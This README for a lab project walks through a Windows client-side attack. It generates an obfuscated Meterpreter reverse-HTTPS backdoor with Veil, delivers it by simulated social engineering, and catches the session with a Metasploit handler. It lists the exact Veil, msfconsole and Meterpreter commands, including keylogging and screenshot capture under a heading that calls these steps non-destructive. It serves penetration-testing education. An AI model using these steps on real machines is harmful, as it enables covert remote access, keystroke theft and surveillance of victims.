🛡️ Windows-Exploitation-using-Backdoor-File

This project simulates a client-side Windows exploitation scenario using a custom backdoor payload generated via the Veil Framework. It demonstrates how an attacker can deliver a payload to a victim using social engineering, gain unauthorized remote access using Metasploit, and perform post-exploitation activities — all within a controlled, ethical lab environment.

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🧠 Project Objectives

• Simulate real-world client-side exploitation using ethical hacking tools.
• Demonstrate backdoor creation using Veil Framework.
• Deliver a reverse shell payload and gain access to a target Windows machine.
• Understand and visualize the attacker's perspective to improve defensive strategies.

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🧰 Tools & Technologies Used

Tool/Technology	Purpose
Kali Linux	Attacker OS environment
Veil Framework	Generate obfuscated backdoor payload
Metasploit	Set up reverse shell listener (msfconsole)
Meterpreter	Remote shell payload
Windows 10 VM	Victim OS in virtual environment
VirtualBox/VMware	Virtual lab setup

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🗂 Lab Setup

1. Attacker Machine: Kali Linux (with Veil and Metasploit installed)
2. Target Machine: Windows (virtual machine in same isolated network)
3. Network: Host-only or internal network in virtualization software

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Step-by-Step Process (Educational Simulation)

1. Installing Veil Framework

• In the attacker VM, install Veil Framework from its official source.
• Veil is used here as a learning tool to demonstrate payload obfuscation/evasion within a lab.

2. Selecting the Evasion Module

• Launch Veil and choose the Evasion module.
• The Evasion module enables generation of obfuscated payload artifacts for lab testing.

3. Choosing the Payload Type

• Inside Evasion, select Meterpreter as the conceptual payload type.
• Meterpreter represents an interactive post-exploitation session used for educational demonstrations.

 > list payloads # 15. go/meterpreter/rev-https.py
 > use 15

4. Configuring Payload Parameters

• Configure the payload metadata for the lab session:
  • LHOST — IP address of the attacker VM on the isolated lab network.
  • LPORT — listening port for incoming connections.
• Ensure these parameters are documented and matched in the listener configuration.

 > Set LHOST "ip-address"
 > Set LPORT 8080
 > Set PROCESSORS 1
 > Set SLEEP 6

5. Generating the Backdoor File

• Generate the payload artifact within the attacker VM and save it securely for lab delivery.
• Important: Do not publish or upload the generated executable to public repositories.

 > options
 > generate  # it generates the backdoor payload
 > rev_https_8080

6. Delivering the Payload (Simulated Social Engineering)

• Transfer the artifact to the target VM using a simulated delivery method appropriate for lab testing (mock email, USB in VM, or file share).
• This must only be done inside the isolated lab with explicit permission.

7. Setting up the Listener in Metasploit

• On the attacker VM, launch the Metasploit interface conceptually (e.g., msfconsole).
• Configure a multi-handler (listener) that matches the payload type, LHOST, and LPORT used during generation.
• Start the listener to await incoming connections from the target VM.

 > msfconsole
 > use exploit/multi/handler
 > show options
 > Set PAYLOAD windows/meterpreter/reverse_https
 > Set LHOST "ip-address"
 > Set LPORT 8080
 > exploit

8. Receiving the Reverse Connection

• When the target executes the artifact inside the lab, it initiates a reverse connection to the attacker VM.
• A Meterpreter session (or equivalent) becomes available for interactive analysis.

9. Post-Exploitation (Non-Destructive Lab Tasks)

• Perform only non-destructive enumeration for learning:
  • View basic system information (OS, hostname, IP).
  • List running processes.
  • Enumerate users and privilege levels.
• Avoid any actions that would cause harm, persist beyond the lab, or exfiltrate sensitive data.

meterpreter > sysinfo
            > help
            > keyscan_start  # captures the keys typed in the target machine
            > keyscan_dump   # it displays the keys captured by the keyscan_start
            > keyscan_stop
            > screenshot

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Ethical & Legal Notice

Performing these steps outside an authorized lab is illegal and unethical. Ensure written authorization and follow institutional rules of engagement before conducting any testing.

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